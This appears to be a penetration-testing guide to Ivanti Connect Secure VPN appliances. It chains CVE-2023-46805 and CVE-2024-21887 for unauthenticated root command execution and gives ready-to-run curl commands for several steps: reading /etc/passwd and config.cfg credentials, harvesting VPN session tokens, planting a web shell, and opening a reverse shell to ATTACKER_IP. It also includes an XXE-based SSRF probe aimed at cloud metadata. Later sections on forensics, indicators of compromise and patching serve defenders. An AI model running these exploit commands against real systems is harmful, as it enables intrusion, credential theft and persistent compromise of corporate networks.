Ivanti Connect Secure Architecture

Ivanti Connect Secure runs on a hardened Linux appliance (or virtual appliance). Key components from a security testing perspective:

• Web interface — ports 80/443; serves user portal and admin interface (/dana-admin/)
• REST API — /api/v1/ endpoint for automation and management
• WSAM / JSAM — client-side network extenders for application-level access
• config.cfg — system configuration file containing encrypted credentials
• system.cfg — system-level configuration

Endpoint	Description	Auth Required?
/, /dana-na/	User login portal	No
/dana-admin/	Admin interface	Admin credentials
/api/v1/	REST API (pre-patch bypass possible)	CVE-2023-46805
/dana-ws/	Web services endpoint	Varies
/dana-cached/	Cached file serve	Public (filtered)

Fingerprinting and Version Detection

Ivanti Connect Secure leaves several fingerprints that aid in version detection and patch status assessment.

HTTP Response Fingerprinting

# Initial probe — login page title and headers
curl -sk https://TARGET/ -I
# Look for: Set-Cookie: DSSignInUrl; DSFirstAccess; DSID (Pulse Secure cookies)
# Server: typically blank or Pulse Secure

curl -sk https://TARGET/ | grep -i "pulse\|ivanti\|connect secure\|version"

# Admin interface welcome page (version sometimes disclosed)
curl -sk https://TARGET/dana-admin/misc/login.cgi | grep -i "version\|release\|build"

# Pre-auth version disclosure via compact plist file
curl -sk "https://TARGET/dana-na/auth/url_default/welcome.cgi" | head -20

Version-Specific API Probe

# Check API endpoint availability (later used for auth bypass)
curl -sk https://TARGET/api/v1/ -I
# 404 = API not enabled or old version
# 401 = API present, auth required
# 200 = potentially accessible (vulnerability condition)

# Check for exposed version information
curl -sk https://TARGET/api/v1/info 2>/dev/null | python3 -m json.tool

# Nuclei template for detection
nuclei -u https://TARGET -t cves/2023/CVE-2023-46805.yaml -t cves/2024/CVE-2024-21887.yaml

Shodan/Censys Exposure

# Shodan dorks for Ivanti Connect Secure
# http.html:"Ivanti" country:US port:443
# http.title:"Pulse Connect Secure"
# Censys: services.http.response.html_title="Welcome to Pulse Connect Secure"

# Check CISA KEV (Known Exploited Vulnerabilities) catalog for patch urgency
# CVE-2023-46805: Added January 2024
# CVE-2024-21887: Added January 2024
# CVE-2024-21893: Added February 2024 (SSRF variant)

CVE-2023-46805: Authentication Bypass via Path Traversal

CVE-2023-46805 (CVSS 8.2) is a path traversal vulnerability in the web component of Ivanti Connect Secure that allows an unauthenticated attacker to bypass authentication controls and access restricted API endpoints. The vulnerability exists because the regex used to enforce authentication does not properly handle URL-encoded path traversal sequences.

Vulnerability Mechanism

The Ivanti web frontend uses a pattern-matching approach to determine if a request requires authentication. The check compares the request path against a whitelist of unauthenticated paths. By inserting ../ sequences between the API path components, attackers can trick the pattern match into treating an authenticated endpoint as a public one, while the backend router still maps it correctly.

# Normal authenticated API request (returns 401 without token)
curl -sk https://TARGET/api/v1/configuration/users/list
# Response: 401 Unauthorized

# CVE-2023-46805 authentication bypass (path traversal)
# The traversal tricks the auth check but routes to the same endpoint
curl -sk "https://TARGET/api/v1/totp/user-backup-code/../../configuration/users/list"
# If vulnerable: 200 OK with user data

# Alternative traversal patterns (different firmware versions may need variations)
curl -sk "https://TARGET/api/v1/totp/user-backup-code/../../configuration/users"
curl -sk "https://TARGET/api/v1/totp/../configuration/users"

# Verify access to admin user info (non-destructive confirmation)
curl -sk "https://TARGET/api/v1/totp/user-backup-code/../../configuration/users/user" | python3 -m json.tool

Enumerable Resources via Auth Bypass

# List realm configurations (reveals auth server types)
curl -sk "https://TARGET/api/v1/totp/user-backup-code/../../configuration/users/user-realms" | python3 -m json.tool

# Authentication server configuration (may reveal LDAP/RADIUS settings)
curl -sk "https://TARGET/api/v1/totp/user-backup-code/../../configuration/authentication-server" | python3 -m json.tool

# Active VPN sessions (reveals connected user info)
curl -sk "https://TARGET/api/v1/totp/user-backup-code/../../monitoring/users/active-users" | python3 -m json.tool

# System configuration export (large JSON containing most settings)
curl -sk "https://TARGET/api/v1/totp/user-backup-code/../../configuration" -o config_dump.json

CVE-2024-21887: OS Command Injection

CVE-2024-21887 (CVSS 9.1) is an OS command injection vulnerability in the web components of Ivanti Connect Secure. When chained with CVE-2023-46805, it allows an unauthenticated attacker to execute arbitrary commands as root. The injection point is the cmd parameter in certain diagnostic API endpoints.

Standalone CVE-2024-21887 (Authenticated)

# CVE-2024-21887 alone requires authentication (or CVE-2023-46805 bypass)
# The vulnerable endpoint accepts a command parameter

# Authenticated exploitation (with admin credentials)
curl -sk -X POST "https://TARGET/api/v1/license/keys-status/" \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'
# If vulnerable: output includes root uid

# Burp Suite test — send to Repeater, inject into cmd parameter:
# {"cmd":"id; whoami; cat /etc/passwd"}

The Full Exploit Chain: CVE-2023-46805 + CVE-2024-21887

The chained exploit requires no credentials. CVE-2023-46805 bypasses authentication to reach the vulnerable endpoint, and CVE-2024-21887 executes the command.

# Full unauthenticated RCE chain
# Step 1: Bypass authentication via CVE-2023-46805 path traversal
# Step 2: POST to the command injection endpoint

# Unauthenticated command execution
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'

# Expected output if vulnerable:
# {"status":"success","output":"uid=0(root) gid=0(root) groups=0(root)"}

# Read /etc/passwd
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"cat /etc/passwd"}'

# Network connectivity check (for blind exploitation confirmation)
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"curl http://COLLABORATOR_URL/"}'

# Reverse shell (authorized engagements only)
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &"}'

Nuclei Detection Template

# Use nuclei for safe detection without triggering destructive commands
nuclei -u https://TARGET -t cves/2023/CVE-2023-46805.yaml -severity high,critical
nuclei -u https://TARGET -t cves/2024/CVE-2024-21887.yaml -severity critical

# The nuclei templates test with benign commands (id, echo) and check response
# They do NOT leave persistent changes on the target

Blind SSRF via REST API

CVE-2024-21893 (CVSS 8.2) is a server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure. It allows an unauthenticated attacker to access otherwise restricted resources by forcing the appliance to make requests on the attacker's behalf — particularly useful for reaching internal metadata services and backend systems.

SSRF via SAML Endpoint

# CVE-2024-21893 SSRF — SAML component
# The vulnerable endpoint processes XML containing external entity references

# Test SSRF to internal metadata service (cloud environments)
# Craft a malicious SAML request with external XML entity
cat > ssrf_test.xml << 'EOF'

]>

    &xxe;

EOF

# Base64 encode and POST to SAML endpoint
B64=$(cat ssrf_test.xml | base64 -w 0)
curl -sk -X POST "https://TARGET/dana-ws/saml20.ws" \
  -d "SAMLRequest=$B64&RelayState=test"

# Monitor Burp Collaborator or webhook.site for outbound request
# AWS metadata: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Internal Network SSRF

# Once SSRF is confirmed, probe internal network
# Common internal targets from a compromised VPN appliance:
# - AD domain controllers: 389, 636, 3268
# - Internal web apps: 80, 443, 8080, 8443
# - Kubernetes API: 6443, 8080
# - Database servers: 3306, 5432, 1433

# Test internal host reachability via SSRF timing differences
# (Response time difference indicates host is up vs. filtered)

config.cfg Credential Extraction

The /data/runtime/mtmp/system/config.cfg file (or /home/runtime/mtmp/system/config.cfg) is the primary configuration file. It contains all credentials used by the system, including AD/LDAP bind credentials, RADIUS shared secrets, and local admin hashes.

Reading config.cfg via RCE

# Once RCE is achieved via the exploit chain:
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"cat /data/runtime/mtmp/system/config.cfg"}'

# Alternative paths (version-dependent)
# /home/runtime/mtmp/system/config.cfg
# /data/runtime/system.cfg
# /root/config.cfg

# Grep for credential patterns
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"grep -i \"password\\|secret\\|passwd\\|bindpw\" /data/runtime/mtmp/system/config.cfg | head -50"}'

Credential Patterns in config.cfg

# config.cfg stores credentials in several formats:
# - Cleartext for some legacy settings
# - Blowfish-encrypted with a fixed key in older versions
# - Argon2/bcrypt in newer versions for admin passwords

# LDAP bind credentials (often cleartext or weakly encrypted)
# Example patterns:
# ldap-bind-password = "ServiceAccount_Pass123!"
# radius-secret = "SharedSecret_Corp"
# admin-password = "$2y$10$..."  (bcrypt)

# Tool to decrypt Pulse Secure config.cfg credentials
# github.com/pulse-secure/[various community tools]
# The encryption key has been publicly disclosed

# Extract and attempt decrypt
python3 -c "
import re
# Read extracted config
with open('config.cfg', 'r', errors='ignore') as f:
    content = f.read()
# Find credential patterns
patterns = re.findall(r'(?:password|secret|passwd|bindpw)\s*=\s*\"([^\"]+)\"', content, re.IGNORECASE)
for p in patterns:
    print(f'Credential: {p}')
"

Active Session Cookie Extraction

# Extract all active VPN session tokens from memory
# This allows impersonation of currently-connected VPN users
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"grep -r \"DSID\" /proc/*/environ 2>/dev/null | head -20"}'

# Session IDs stored in memory-mapped files
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"ls /home/runtime/mtmp/session/"}'

Web Shell Persistence Patterns

Threat actors who exploit these vulnerabilities typically deploy web shells for persistent access. Understanding the persistence patterns is critical for both red team operations and incident response.

Common Web Shell Deployment Paths

# Threat actor web shell deployment via RCE
# Drop PHP web shell to accessible web directory
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"echo \"\" > /home/webserver/htdocs/dana-na/auth/getDefaultLoginPage2.cgi"}'

# Common malicious file paths observed in the wild (CISA/Mandiant reporting):
# /home/webserver/htdocs/dana-na/auth/getDefaultLoginPage2.cgi
# /home/webserver/htdocs/dana-na/auth/lastauthofday.cgi
# /home/webserver/htdocs/dana/html5acc/guac/   (added files)

# Check for unauthorized files in web directories
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"find /home/webserver/htdocs -newer /etc/resolv.conf -name \"*.cgi\" -o -name \"*.php\" | head -20"}'

Persistence via Cron and Startup Scripts

# Threat actors add persistence via cron jobs
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"crontab -l 2>/dev/null && cat /etc/cron.d/* 2>/dev/null"}'

# Check for modified system binaries (hash check)
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"find /bin /sbin /usr/bin /usr/sbin -newer /etc/shadow -ls 2>/dev/null | head -20"}'

Forensic Detection and CISA Guidance

CISA issued Emergency Directive 24-01 and provided specific forensic guidance for detecting compromise. Before applying patches, Ivanti strongly recommends performing the Ivanti Integrity Checker Tool (ICT) scan.

Ivanti Integrity Checker Tool (ICT)

# Run from admin UI: System > Maintenance > System Configuration > Security
# Or via API:
curl -sk -u admin:PASSWORD -X POST \
  "https://TARGET/api/v1/configuration/system/maintenance/integrity-checker" \
  -H "Content-Type: application/json" \
  -d '{"start":true}'

# Poll for results
curl -sk -u admin:PASSWORD \
  "https://TARGET/api/v1/configuration/system/maintenance/integrity-checker/result" | python3 -m json.tool

# ICT will flag:
# - Modified system files
# - Unknown processes
# - Unauthorized certificates installed as trust anchors

CISA-Recommended Indicators of Compromise

# From CISA advisories — check for these IoCs:
# 1. Suspicious processes
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"ps aux | grep -v grep | grep -iE \"curl|wget|python|perl|nc|ncat|bash -i\""}'

# 2. Unusual network connections
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"netstat -antp | grep ESTABLISHED | grep -v \":443\""}'

# 3. Modified certificate trust store (threat actors install malicious CA certs)
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"find /etc/ssl/certs /data/runtime/certs -newer /etc/passwd -ls 2>/dev/null"}'

# 4. Exfiltration via log clearing
curl -sk -X POST \
  "https://TARGET/api/v1/totp/user-backup-code/../../license/keys-status/" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"ls -la /var/log/ && tail -5 /var/log/messages"}'

Remediation and Patching

CVE	CVSS	Affected Versions	Fixed Version
CVE-2023-46805	8.2	ICS 9.x, 22.x before Jan 2024 patches	22.7R2.4+, 9.1R18.3+
CVE-2024-21887	9.1	ICS 9.x, 22.x before Jan 2024 patches	22.7R2.4+, 9.1R18.3+
CVE-2024-21893	8.2	ICS 9.x, 22.x before Feb 2024 patches	22.7R2.4+, 9.1R18.4+
CVE-2024-21888	8.8	ICS 9.x, 22.x before Jan 2024 patches	22.7R2.4+, 9.1R18.3+

Mitigation Steps (CISA-Recommended Order)

# 1. Run Integrity Checker Tool BEFORE patching
# (patching may overwrite evidence of compromise)

# 2. Export current configuration for backup

# 3. Apply patches via admin UI:
# Maintenance > System Upgrade > Upload and apply patch

# 4. After patching, reset:
# - All admin passwords
# - All service account passwords configured in Ivanti
# - RADIUS shared secrets
# - SAML signing certificates

# 5. Rotate credentials of any accounts that authenticated via Ivanti
# (session tokens and credentials were accessible to threat actors)

# 6. Monitor for re-exploitation attempts:
# Set up alerting on /api/v1/totp/ with traversal patterns in WAF/proxy logs

# 7. Consider network segmentation:
# Management interface should only be accessible from dedicated mgmt VLAN

Summary

Ivanti Connect Secure is a high-priority target in any external assessment. The CVE-2023-46805 + CVE-2024-21887 chain provides unauthenticated RCE as root with no prior access required. For authorized assessments: fingerprint the version, confirm exploit conditions via nuclei, chain the CVEs if the target is unpatched, extract credentials from config.cfg, and check for existing threat actor persistence using CISA IoCs. Post-exploitation, the appliance typically holds LDAP bind credentials, RADIUS secrets, and active VPN session tokens — all directly useful for lateral movement into the internal network.

The forensic detection section is equally important: Ivanti recommends running the ICT before patching to preserve evidence of prior compromise. Many organizations discovered they had been compromised weeks earlier when they finally applied patches.